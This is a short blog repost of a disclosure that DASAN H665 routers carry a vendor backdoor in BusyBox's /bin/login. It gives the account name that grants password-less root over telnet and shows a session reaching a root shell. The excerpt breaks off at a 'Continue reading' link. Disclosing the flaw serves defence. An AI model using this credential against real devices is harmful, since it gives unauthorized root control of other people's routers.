Martijn Lammerts
My own digital place with a little of everything

DASAN H665 has vendor backdoor built into BusyBox’s /bin/login

Posted by Krzysztof Burghardt on Feb 17

Hi!

DASAN H665 has vendor backdoor built into BusyBox /bin/login. Account
named "dnsekakf2$$" gives access to admin (uid 0) account over telnet
without any password, at least for administration interface documented
in H665 Quick Guide (subnet 192.168.55.0/24 on LAN interface).

$ telnet 192.168.55.1
Trying 192.168.55.1...
Connected to 192.168.55.1.
Escape character is '^]'.
tc login: dnsekakf2$$
# uname -a
Linux tc 2.6.36 #1...
Continue reading...